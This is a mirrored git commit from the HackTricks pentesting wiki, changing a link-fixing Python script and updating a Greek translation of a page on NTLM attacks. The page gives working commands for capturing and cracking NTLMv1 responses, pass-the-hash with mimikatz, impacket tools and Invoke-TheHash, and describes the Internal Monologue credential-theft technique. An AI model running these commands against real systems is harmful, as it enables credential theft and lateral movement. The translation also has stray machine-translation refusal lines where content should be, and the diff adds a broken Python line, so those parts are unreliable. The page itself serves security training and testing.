mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/ntlm/README.md'] to el
This commit is contained in:
parent
9ac46cef3c
commit
714fa4a046
@ -50,6 +50,7 @@ def ref(matchobj):
|
|||||||
pass #nDont stop on broken link
|
pass #nDont stop on broken link
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
|
href = href.replace("`", "") # Prevent hrefs like: ../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
|
||||||
if href.endswith("/"):
|
if href.endswith("/"):
|
||||||
href = href+"README.md" # Fix if ref points to a folder
|
href = href+"README.md" # Fix if ref points to a folder
|
||||||
if "#" in href:
|
if "#" in href:
|
||||||
@ -74,7 +75,7 @@ def ref(matchobj):
|
|||||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.debug(e)
|
logger.debug(e)
|
||||||
logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
|
logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,Error getting chapter title))}')
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Basic Information
|
## Basic Information
|
||||||
|
|
||||||
Σε περιβάλλοντα όπου λειτουργούν **Windows XP και Server 2003**, χρησιμοποιούνται οι κατακερματισμοί LM (Lan Manager), αν και είναι ευρέως αναγνωρισμένο ότι μπορούν να παραβιαστούν εύκολα. Ένας συγκεκριμένος κατακερματισμός LM, `AAD3B435B51404EEAAD3B435B51404EE`, υποδεικνύει μια κατάσταση όπου δεν χρησιμοποιείται το LM, αντιπροσωπεύοντας τον κατακερματισμό για μια κενή συμβολοσειρά.
|
Σε περιβάλλοντα όπου λειτουργούν **Windows XP και Server 2003**, χρησιμοποιούνται οι κατακερματισμοί LM (Lan Manager), αν και είναι ευρέως αναγνωρισμένο ότι μπορούν να παραβιαστούν εύκολα. Ένας συγκεκριμένος κατακερματισμός LM, `AAD3B435B51404EEAAD3B435B51404EE`, υποδεικνύει μια κατάσταση όπου δεν χρησιμοποιείται LM, αντιπροσωπεύοντας τον κατακερματισμό για μια κενή συμβολοσειρά.
|
||||||
|
|
||||||
Από προεπιλογή, το πρωτόκολλο αυθεντικοποίησης **Kerberos** είναι η κύρια μέθοδος που χρησιμοποιείται. Το NTLM (NT LAN Manager) εισέρχεται υπό συγκεκριμένες συνθήκες: απουσία Active Directory, μη ύπαρξη τομέα, δυσλειτουργία του Kerberos λόγω ακατάλληλης διαμόρφωσης ή όταν γίνονται προσπάθειες σύνδεσης χρησιμοποιώντας μια διεύθυνση IP αντί για έγκυρο όνομα κεντρικού υπολογιστή.
|
Από προεπιλογή, το πρωτόκολλο αυθεντικοποίησης **Kerberos** είναι η κύρια μέθοδος που χρησιμοποιείται. Το NTLM (NT LAN Manager) εισέρχεται υπό συγκεκριμένες συνθήκες: απουσία Active Directory, μη ύπαρξη τομέα, δυσλειτουργία του Kerberos λόγω ακατάλληλης διαμόρφωσης ή όταν γίνονται προσπάθειες σύνδεσης χρησιμοποιώντας μια διεύθυνση IP αντί για έγκυρο όνομα κεντρικού υπολογιστή.
|
||||||
|
|
||||||
@ -15,7 +15,7 @@
|
|||||||
**Key Points**:
|
**Key Points**:
|
||||||
|
|
||||||
- Οι κατακερματισμοί LM είναι ευάλωτοι και ένας κενός κατακερματισμός LM (`AAD3B435B51404EEAAD3B435B51404EE`) υποδηλώνει την μη χρήση του.
|
- Οι κατακερματισμοί LM είναι ευάλωτοι και ένας κενός κατακερματισμός LM (`AAD3B435B51404EEAAD3B435B51404EE`) υποδηλώνει την μη χρήση του.
|
||||||
- Το Kerberos είναι η προεπιλεγμένη μέθοδος αυθεντικοποίησης, με το NTLM να χρησιμοποιείται μόνο υπό ορισμένες συνθήκες.
|
- Το Kerberos είναι η προεπιλεγμένη μέθοδος αυθεντικοποίησης, με το NTLM να χρησιμοποιείται μόνο υπό συγκεκριμένες συνθήκες.
|
||||||
- Τα πακέτα αυθεντικοποίησης NTLM είναι αναγνωρίσιμα από την κεφαλίδα "NTLMSSP".
|
- Τα πακέτα αυθεντικοποίησης NTLM είναι αναγνωρίσιμα από την κεφαλίδα "NTLMSSP".
|
||||||
- Τα πρωτόκολλα LM, NTLMv1 και NTLMv2 υποστηρίζονται από το σύστημα αρχείο `msv1\_0.dll`.
|
- Τα πρωτόκολλα LM, NTLMv1 και NTLMv2 υποστηρίζονται από το σύστημα αρχείο `msv1\_0.dll`.
|
||||||
|
|
||||||
@ -47,7 +47,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
|
|||||||
## Basic NTLM Domain authentication Scheme
|
## Basic NTLM Domain authentication Scheme
|
||||||
|
|
||||||
1. Ο **χρήστης** εισάγει τα **διαπιστευτήριά** του
|
1. Ο **χρήστης** εισάγει τα **διαπιστευτήριά** του
|
||||||
2. Η πελάτης μηχανή **στέλνει ένα αίτημα αυθεντικοποίησης** στέλνοντας το **όνομα τομέα** και το **όνομα χρήστη**
|
2. Η μηχανή-πελάτης **στέλνει ένα αίτημα αυθεντικοποίησης** στέλνοντας το **όνομα τομέα** και το **όνομα χρήστη**
|
||||||
3. Ο **διακομιστής** στέλνει την **πρόκληση**
|
3. Ο **διακομιστής** στέλνει την **πρόκληση**
|
||||||
4. Ο **πελάτης κρυπτογραφεί** την **πρόκληση** χρησιμοποιώντας το hash του κωδικού πρόσβασης ως κλειδί και την στέλνει ως απάντηση
|
4. Ο **πελάτης κρυπτογραφεί** την **πρόκληση** χρησιμοποιώντας το hash του κωδικού πρόσβασης ως κλειδί και την στέλνει ως απάντηση
|
||||||
5. Ο **διακομιστής στέλνει** στον **Ελεγκτή τομέα** το **όνομα τομέα, το όνομα χρήστη, την πρόκληση και την απάντηση**. Αν **δεν υπάρχει** ρυθμισμένο Active Directory ή το όνομα τομέα είναι το όνομα του διακομιστή, τα διαπιστευτήρια **ελέγχονται τοπικά**.
|
5. Ο **διακομιστής στέλνει** στον **Ελεγκτή τομέα** το **όνομα τομέα, το όνομα χρήστη, την πρόκληση και την απάντηση**. Αν **δεν υπάρχει** ρυθμισμένο Active Directory ή το όνομα τομέα είναι το όνομα του διακομιστή, τα διαπιστευτήρια **ελέγχονται τοπικά**.
|
||||||
@ -63,7 +63,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
|
|||||||
|
|
||||||
Το **μήκος της πρόκλησης είναι 8 bytes** και η **απάντηση είναι 24 bytes**.
|
Το **μήκος της πρόκλησης είναι 8 bytes** και η **απάντηση είναι 24 bytes**.
|
||||||
|
|
||||||
Το **hash NT (16bytes)** χωρίζεται σε **3 μέρη των 7bytes το καθένα** (7B + 7B + (2B+0x00\*5)): το **τελευταίο μέρος γεμίζει με μηδενικά**. Στη συνέχεια, η **πρόκληση** κρυπτογραφείται **χωριστά** με κάθε μέρος και τα **αποτελέσματα** κρυπτογραφημένων bytes **ενώνονται**. Σύνολο: 8B + 8B + 8B = 24Bytes.
|
Το **hash NT (16bytes)** χωρίζεται σε **3 μέρη των 7bytes το καθένα** (7B + 7B + (2B+0x00\*5)): το **τελευταίο μέρος γεμίζει με μηδενικά**. Στη συνέχεια, η **πρόκληση** κρυπτογραφείται **χωριστά** με κάθε μέρος και τα **αποτελέσματα** των κρυπτογραφημένων bytes **ενώνονται**. Σύνολο: 8B + 8B + 8B = 24Bytes.
|
||||||
|
|
||||||
**Προβλήματα**:
|
**Προβλήματα**:
|
||||||
|
|
||||||
@ -71,27 +71,27 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
|
|||||||
- Τα 3 μέρη μπορούν να **επιτεθούν ξεχωριστά** για να βρουν το NT hash
|
- Τα 3 μέρη μπορούν να **επιτεθούν ξεχωριστά** για να βρουν το NT hash
|
||||||
- **DES είναι σπαστό**
|
- **DES είναι σπαστό**
|
||||||
- Το 3ο κλειδί αποτελείται πάντα από **5 μηδενικά**.
|
- Το 3ο κλειδί αποτελείται πάντα από **5 μηδενικά**.
|
||||||
- Δεδομένη η **ίδια πρόκληση**, η **απάντηση** θα είναι **ίδια**. Έτσι, μπορείτε να δώσετε ως **πρόκληση** στο θύμα τη συμβολοσειρά "**1122334455667788**" και να επιτεθείτε στην απάντηση χρησιμοποιώντας **προϋπολογισμένα rainbow tables**.
|
- Δεδομένης της **ίδιας πρόκλησης**, η **απάντηση** θα είναι **ίδια**. Έτσι, μπορείτε να δώσετε ως **πρόκληση** στο θύμα τη συμβολοσειρά "**1122334455667788**" και να επιτεθείτε στην απάντηση χρησιμοποιώντας **προϋπολογισμένα rainbow tables**.
|
||||||
|
|
||||||
### NTLMv1 attack
|
### NTLMv1 attack
|
||||||
|
|
||||||
Σήμερα γίνεται όλο και λιγότερο συνηθισμένο να βρίσκονται περιβάλλοντα με ρυθμισμένη Unconstrained Delegation, αλλά αυτό δεν σημαίνει ότι δεν μπορείτε να **καταχραστείτε μια υπηρεσία Print Spooler** που είναι ρυθμισμένη.
|
Σήμερα γίνεται όλο και λιγότερο συνηθισμένο να βρίσκονται περιβάλλοντα με ρυθμισμένη Unconstrained Delegation, αλλά αυτό δεν σημαίνει ότι δεν μπορείτε να **καταχραστείτε μια υπηρεσία Print Spooler** που είναι ρυθμισμένη.
|
||||||
|
|
||||||
Μπορείτε να καταχραστείτε κάποια διαπιστευτήρια/συνδέσεις που ήδη έχετε στο AD για να **ζητήσετε από τον εκτυπωτή να αυθεντικοποιηθεί** κατά ενός **host υπό τον έλεγχό σας**. Στη συνέχεια, χρησιμοποιώντας `metasploit auxiliary/server/capture/smb` ή `responder` μπορείτε να **ρυθμίσετε την πρόκληση αυθεντικοποίησης σε 1122334455667788**, να καταγράψετε την προσπάθεια αυθεντικοποίησης, και αν έγινε χρησιμοποιώντας **NTLMv1** θα μπορείτε να την **σπάσετε**.\
|
Μπορείτε να καταχραστείτε κάποια διαπιστευτήρια/συνδέσεις που ήδη έχετε στο AD για να **ζητήσετε από τον εκτυπωτή να αυθεντικοποιηθεί** έναντι κάποιου **host υπό τον έλεγχό σας**. Στη συνέχεια, χρησιμοποιώντας `metasploit auxiliary/server/capture/smb` ή `responder` μπορείτε να **ρυθμίσετε την πρόκληση αυθεντικοποίησης σε 1122334455667788**, να καταγράψετε την προσπάθεια αυθεντικοποίησης, και αν έγινε χρησιμοποιώντας **NTLMv1** θα μπορείτε να την **σπάσετε**.\
|
||||||
Αν χρησιμοποιείτε `responder` μπορείτε να προσπαθήσετε να **χρησιμοποιήσετε τη σημαία `--lm`** για να προσπαθήσετε να **υποβαθμίσετε** την **αυθεντικοποίηση**.\
|
Αν χρησιμοποιείτε `responder` μπορείτε να προσπαθήσετε να **χρησιμοποιήσετε τη σημαία `--lm`** για να προσπαθήσετε να **υποβαθμίσετε** την **αυθεντικοποίηση**.\
|
||||||
_Σημειώστε ότι για αυτή την τεχνική η αυθεντικοποίηση πρέπει να πραγματοποιηθεί χρησιμοποιώντας NTLMv1 (το NTLMv2 δεν είναι έγκυρο)._
|
_Σημειώστε ότι για αυτή την τεχνική η αυθεντικοποίηση πρέπει να πραγματοποιηθεί χρησιμοποιώντας NTLMv1 (το NTLMv2 δεν είναι έγκυρο)._
|
||||||
|
|
||||||
Θυμηθείτε ότι ο εκτυπωτής θα χρησιμοποιήσει τον λογαριασμό υπολογιστή κατά την αυθεντικοποίηση, και οι λογαριασμοί υπολογιστή χρησιμοποιούν **μακρούς και τυχαίους κωδικούς πρόσβασης** που πιθανώς δεν θα μπορείτε να σπάσετε χρησιμοποιώντας κοινά **λεξικά**. Αλλά η **NTLMv1** αυθεντικοποίηση **χρησιμοποιεί DES** ([περισσότερες πληροφορίες εδώ](#ntlmv1-challenge)), έτσι χρησιμοποιώντας κάποιες υπηρεσίες ειδικά αφιερωμένες στην κρυπτογράφηση DES θα μπορείτε να την σπάσετε (μπορείτε να χρησιμοποιήσετε [https://crack.sh/](https://crack.sh) ή [https://ntlmv1.com/](https://ntlmv1.com) για παράδειγμα).
|
Θυμηθείτε ότι ο εκτυπωτής θα χρησιμοποιήσει τον λογαριασμό υπολογιστή κατά την αυθεντικοποίηση, και οι λογαριασμοί υπολογιστή χρησιμοποιούν **μακριούς και τυχαίους κωδικούς πρόσβασης** που πιθανώς δεν θα μπορείτε να σπάσετε χρησιμοποιώντας κοινά **λεξικά**. Αλλά η **αυθεντικοποίηση NTLMv1** **χρησιμοποιεί DES** ([περισσότερες πληροφορίες εδώ](#ntlmv1-challenge)), οπότε χρησιμοποιώντας κάποιες υπηρεσίες ειδικά αφιερωμένες στην κρυπτογράφηση DES θα μπορείτε να την σπάσετε (μπορείτε να χρησιμοποιήσετε [https://crack.sh/](https://crack.sh) ή [https://ntlmv1.com/](https://ntlmv1.com) για παράδειγμα).
|
||||||
|
|
||||||
### NTLMv1 attack with hashcat
|
### NTLMv1 attack with hashcat
|
||||||
|
|
||||||
Η NTLMv1 μπορεί επίσης να σπάσει με το NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) το οποίο μορφοποιεί τα μηνύματα NTLMv1 με μια μέθοδο που μπορεί να σπάσει με hashcat.
|
Το NTLMv1 μπορεί επίσης να σπάσει με το NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) το οποίο μορφοποιεί τα μηνύματα NTLMv1 με μια μέθοδο που μπορεί να σπάσει με το hashcat.
|
||||||
|
|
||||||
Η εντολή
|
Η εντολή
|
||||||
```bash
|
```bash
|
||||||
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
|
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
|
||||||
```
|
```
|
||||||
Please provide the text you would like me to translate.
|
Sure, please provide the text you would like me to translate.
|
||||||
```bash
|
```bash
|
||||||
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
|
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
|
||||||
|
|
||||||
@ -143,7 +143,7 @@ b4b9b02e6f09a9 # this is part 1
|
|||||||
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
|
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
|
||||||
bd760f388b6700 # this is part 2
|
bd760f388b6700 # this is part 2
|
||||||
```
|
```
|
||||||
I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the content you would like translated to Greek.
|
I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the content you would like me to translate to Greek.
|
||||||
```bash
|
```bash
|
||||||
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
|
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
|
||||||
|
|
||||||
@ -157,7 +157,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
|||||||
|
|
||||||
Το **μήκος της πρόκλησης είναι 8 bytes** και **αποστέλλονται 2 απαντήσεις**: Μία είναι **24 bytes** και το μήκος της **άλλης** είναι **μεταβλητό**.
|
Το **μήκος της πρόκλησης είναι 8 bytes** και **αποστέλλονται 2 απαντήσεις**: Μία είναι **24 bytes** και το μήκος της **άλλης** είναι **μεταβλητό**.
|
||||||
|
|
||||||
**Η πρώτη απάντηση** δημιουργείται κρυπτογραφώντας με τη χρήση **HMAC_MD5** τη **σειρά** που αποτελείται από τον **πελάτη και το domain** και χρησιμοποιώντας ως **κλειδί** το **hash MD4** του **NT hash**. Στη συνέχεια, το **αποτέλεσμα** θα χρησιμοποιηθεί ως **κλειδί** για να κρυπτογραφήσει με **HMAC_MD5** την **πρόκληση**. Σε αυτό, **θα προστεθεί μια πρόκληση πελάτη 8 bytes**. Σύνολο: 24 B.
|
**Η πρώτη απάντηση** δημιουργείται κρυπτογραφώντας χρησιμοποιώντας **HMAC_MD5** τη **σειρά** που αποτελείται από τον **πελάτη και το domain** και χρησιμοποιώντας ως **κλειδί** το **hash MD4** του **NT hash**. Στη συνέχεια, το **αποτέλεσμα** θα χρησιμοποιηθεί ως **κλειδί** για να κρυπτογραφήσει χρησιμοποιώντας **HMAC_MD5** την **πρόκληση**. Σε αυτό, **θα προστεθεί μια πρόκληση πελάτη 8 bytes**. Σύνολο: 24 B.
|
||||||
|
|
||||||
Η **δεύτερη απάντηση** δημιουργείται χρησιμοποιώντας **διάφορες τιμές** (μια νέα πρόκληση πελάτη, ένα **timestamp** για να αποφευχθούν οι **επανεκτελέσεις**...)
|
Η **δεύτερη απάντηση** δημιουργείται χρησιμοποιώντας **διάφορες τιμές** (μια νέα πρόκληση πελάτη, ένα **timestamp** για να αποφευχθούν οι **επανεκτελέσεις**...)
|
||||||
|
|
||||||
@ -166,7 +166,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
|||||||
## Pass-the-Hash
|
## Pass-the-Hash
|
||||||
|
|
||||||
**Μόλις έχετε το hash του θύματος**, μπορείτε να το χρησιμοποιήσετε για να **παριστάνετε** αυτό.\
|
**Μόλις έχετε το hash του θύματος**, μπορείτε να το χρησιμοποιήσετε για να **παριστάνετε** αυτό.\
|
||||||
Πρέπει να χρησιμοποιήσετε ένα **εργαλείο** που θα **εκτελεί** την **αυθεντικοποίηση NTLM χρησιμοποιώντας** αυτό το **hash**, **ή** μπορείτε να δημιουργήσετε μια νέα **sessionlogon** και να **ενσωματώσετε** αυτό το **hash** μέσα στο **LSASS**, έτσι ώστε όταν εκτελείται οποιαδήποτε **αυθεντικοποίηση NTLM**, αυτό το **hash θα χρησιμοποιείται.** Η τελευταία επιλογή είναι αυτό που κάνει το mimikatz.
|
Πρέπει να χρησιμοποιήσετε ένα **εργαλείο** που θα **εκτελεί** την **αυθεντικοποίηση NTLM χρησιμοποιώντας** αυτό το **hash**, **ή** μπορείτε να δημιουργήσετε μια νέα **sessionlogon** και να **ενσωματώσετε** αυτό το **hash** μέσα στο **LSASS**, έτσι ώστε όταν οποιαδήποτε **αυθεντικοποίηση NTLM εκτελείται**, αυτό το **hash θα χρησιμοποιείται.** Η τελευταία επιλογή είναι αυτό που κάνει το mimikatz.
|
||||||
|
|
||||||
**Παρακαλώ, θυμηθείτε ότι μπορείτε να εκτελέσετε επιθέσεις Pass-the-Hash χρησιμοποιώντας επίσης λογαριασμούς υπολογιστών.**
|
**Παρακαλώ, θυμηθείτε ότι μπορείτε να εκτελέσετε επιθέσεις Pass-the-Hash χρησιμοποιώντας επίσης λογαριασμούς υπολογιστών.**
|
||||||
|
|
||||||
@ -176,7 +176,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
|||||||
```bash
|
```bash
|
||||||
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
|
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
|
||||||
```
|
```
|
||||||
Αυτό θα εκκινήσει μια διαδικασία που θα ανήκει στους χρήστες που έχουν εκκινήσει το mimikatz, αλλά εσωτερικά στο LSASS οι αποθηκευμένες διαπιστεύσεις είναι αυτές που βρίσκονται μέσα στις παραμέτρους του mimikatz. Στη συνέχεια, μπορείτε να έχετε πρόσβαση σε πόρους δικτύου σαν να ήσασταν αυτός ο χρήστης (παρόμοιο με το κόλπο `runas /netonly`, αλλά δεν χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης σε απλή μορφή).
|
Αυτό θα εκκινήσει μια διαδικασία που θα ανήκει στους χρήστες που έχουν εκκινήσει το mimikatz, αλλά εσωτερικά στο LSASS, τα αποθηκευμένα διαπιστευτήρια είναι αυτά που βρίσκονται μέσα στις παραμέτρους του mimikatz. Στη συνέχεια, μπορείτε να έχετε πρόσβαση σε πόρους δικτύου σαν να ήσασταν αυτός ο χρήστης (παρόμοιο με το κόλπο `runas /netonly`, αλλά δεν χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης σε απλή μορφή).
|
||||||
|
|
||||||
### Pass-the-Hash από linux
|
### Pass-the-Hash από linux
|
||||||
|
|
||||||
@ -185,7 +185,7 @@ Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm
|
|||||||
|
|
||||||
### Impacket Windows compiled tools
|
### Impacket Windows compiled tools
|
||||||
|
|
||||||
Μπορείτε να κατεβάσετε [τα binaries του impacket για Windows εδώ](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries).
|
Μπορείτε να κατεβάσετε [impacket binaries για Windows εδώ](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries).
|
||||||
|
|
||||||
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
|
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
|
||||||
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
|
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
|
||||||
@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
|
|||||||
```
|
```
|
||||||
#### Invoke-TheHash
|
#### Invoke-TheHash
|
||||||
|
|
||||||
Αυτή η λειτουργία είναι ένα **μείγμα όλων των άλλων**. Μπορείτε να περάσετε **πολλούς hosts**, να **εξαιρέσετε** κάποιους και να **επιλέξετε** την **επιλογή** που θέλετε να χρησιμοποιήσετε (_SMBExec, WMIExec, SMBClient, SMBEnum_). Εάν επιλέξετε **οποιοδήποτε** από τα **SMBExec** και **WMIExec** αλλά **δεν** δώσετε κανένα _**Command**_ παράμετρο, θα **ελέγξει** απλώς αν έχετε **αρκετές άδειες**.
|
Αυτή η λειτουργία είναι ένα **μείγμα όλων των άλλων**. Μπορείτε να περάσετε **πολλούς hosts**, να **εξαιρέσετε** κάποιους και να **επιλέξετε** την **επιλογή** που θέλετε να χρησιμοποιήσετε (_SMBExec, WMIExec, SMBClient, SMBEnum_). Εάν επιλέξετε **οποιοδήποτε** από **SMBExec** και **WMIExec** αλλά **δεν** δώσετε κανένα _**Command**_ παράμετρο, θα **ελέγξει** απλώς αν έχετε **αρκετές άδειες**.
|
||||||
```
|
```
|
||||||
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
|
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
|
||||||
```
|
```
|
||||||
@ -240,13 +240,13 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
|
|||||||
|
|
||||||
## Internal Monologue attack
|
## Internal Monologue attack
|
||||||
|
|
||||||
Η Επίθεση Εσωτερικού Μονολόγου είναι μια κρυφή τεχνική εξαγωγής διαπιστευτηρίων που επιτρέπει σε έναν επιτιθέμενο να ανακτήσει NTLM hashes από τη μηχανή ενός θύματος **χωρίς να αλληλεπιδρά άμεσα με τη διαδικασία LSASS**. Σε αντίθεση με το Mimikatz, το οποίο διαβάζει hashes απευθείας από τη μνήμη και συχνά αποκλείεται από λύσεις ασφάλειας τερματικών ή Credential Guard, αυτή η επίθεση εκμεταλλεύεται **τοπικές κλήσεις στο πακέτο αυθεντικοποίησης NTLM (MSV1_0) μέσω του Interface Παροχής Υποστήριξης Ασφαλείας (SSPI)**. Ο επιτιθέμενος πρώτα **υποβαθμίζει τις ρυθμίσεις NTLM** (π.χ., LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) για να διασφαλίσει ότι επιτρέπεται το NetNTLMv1. Στη συνέχεια, προσποιείται υπάρχοντα tokens χρηστών που αποκτήθηκαν από εκτελούμενες διαδικασίες και ενεργοποιεί την αυθεντικοποίηση NTLM τοπικά για να δημιουργήσει απαντήσεις NetNTLMv1 χρησιμοποιώντας μια γνωστή πρόκληση.
|
Η Επίθεση Εσωτερικού Μονολόγου είναι μια κρυφή τεχνική εξαγωγής διαπιστευτηρίων που επιτρέπει σε έναν επιτιθέμενο να ανακτήσει NTLM hashes από τη μηχανή ενός θύματος **χωρίς να αλληλεπιδρά άμεσα με τη διαδικασία LSASS**. Σε αντίθεση με το Mimikatz, το οποίο διαβάζει hashes απευθείας από τη μνήμη και συχνά αποκλείεται από λύσεις ασφάλειας τερματικών ή Credential Guard, αυτή η επίθεση εκμεταλλεύεται **τοπικές κλήσεις στο πακέτο πιστοποίησης NTLM (MSV1_0) μέσω του Interface Παροχής Υποστήριξης Ασφαλείας (SSPI)**. Ο επιτιθέμενος πρώτα **υποβαθμίζει τις ρυθμίσεις NTLM** (π.χ., LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) για να διασφαλίσει ότι επιτρέπεται το NetNTLMv1. Στη συνέχεια, προσποιείται υπάρχοντα tokens χρηστών που αποκτήθηκαν από εκτελούμενες διαδικασίες και ενεργοποιεί την πιστοποίηση NTLM τοπικά για να δημιουργήσει απαντήσεις NetNTLMv1 χρησιμοποιώντας μια γνωστή πρόκληση.
|
||||||
|
|
||||||
Αφού συλλάβει αυτές τις απαντήσεις NetNTLMv1, ο επιτιθέμενος μπορεί γρήγορα να ανακτήσει τα αρχικά NTLM hashes χρησιμοποιώντας **προϋπολογισμένα rainbow tables**, επιτρέποντας περαιτέρω επιθέσεις Pass-the-Hash για πλευρική κίνηση. Είναι κρίσιμο ότι η Επίθεση Εσωτερικού Μονολόγου παραμένει κρυφή επειδή δεν παράγει δίκτυο κίνησης, δεν εισάγει κώδικα ή δεν ενεργοποιεί άμεσες εκφορτώσεις μνήμης, καθιστώντας την πιο δύσκολη για τους υπερασπιστές να ανιχνεύσουν σε σύγκριση με παραδοσιακές μεθόδους όπως το Mimikatz.
|
Αφού συλλάβει αυτές τις απαντήσεις NetNTLMv1, ο επιτιθέμενος μπορεί γρήγορα να ανακτήσει τα αρχικά NTLM hashes χρησιμοποιώντας **προϋπολογισμένα rainbow tables**, επιτρέποντας περαιτέρω επιθέσεις Pass-the-Hash για πλευρική κίνηση. Είναι κρίσιμο ότι η Επίθεση Εσωτερικού Μονολόγου παραμένει κρυφή επειδή δεν παράγει δίκτυο κίνησης, δεν εισάγει κώδικα ή δεν ενεργοποιεί άμεσες εκφορτώσεις μνήμης, καθιστώντας την πιο δύσκολη για τους υπερασπιστές να ανιχνεύσουν σε σύγκριση με παραδοσιακές μεθόδους όπως το Mimikatz.
|
||||||
|
|
||||||
Εάν το NetNTLMv1 δεν γίνει αποδεκτό—λόγω επιβαλλόμενων πολιτικών ασφάλειας, τότε ο επιτιθέμενος μπορεί να αποτύχει να ανακτήσει μια απάντηση NetNTLMv1.
|
Εάν το NetNTLMv1 δεν γίνει αποδεκτό—λόγω επιβαλλόμενων πολιτικών ασφάλειας, τότε ο επιτιθέμενος μπορεί να αποτύχει να ανακτήσει μια απάντηση NetNTLMv1.
|
||||||
|
|
||||||
Για να χειριστεί αυτή την περίπτωση, το εργαλείο Internal Monologue ενημερώθηκε: Αποκτά δυναμικά ένα token διακομιστή χρησιμοποιώντας `AcceptSecurityContext()` για να **συλλάβει απαντήσεις NetNTLMv2** εάν αποτύχει το NetNTLMv1. Ενώ το NetNTLMv2 είναι πολύ πιο δύσκολο να σπάσει, ανοίγει ακόμα ένα μονοπάτι για επιθέσεις αναμετάδοσης ή offline brute-force σε περιορισμένες περιπτώσεις.
|
Για να χειριστεί αυτή την περίπτωση, το εργαλείο Internal Monologue ενημερώθηκε: Αποκτά δυναμικά ένα token διακομιστή χρησιμοποιώντας `AcceptSecurityContext()` για να **συλλάβει απαντήσεις NetNTLMv2** εάν αποτύχει το NetNTLMv1. Ενώ το NetNTLMv2 είναι πολύ πιο δύσκολο να σπάσει, ανοίγει ακόμα ένα μονοπάτι για επιθέσεις relay ή offline brute-force σε περιορισμένες περιπτώσεις.
|
||||||
|
|
||||||
Η PoC μπορεί να βρεθεί στο **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**.
|
Η PoC μπορεί να βρεθεί στο **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**.
|
||||||
|
|
||||||
@ -255,7 +255,7 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
|
|||||||
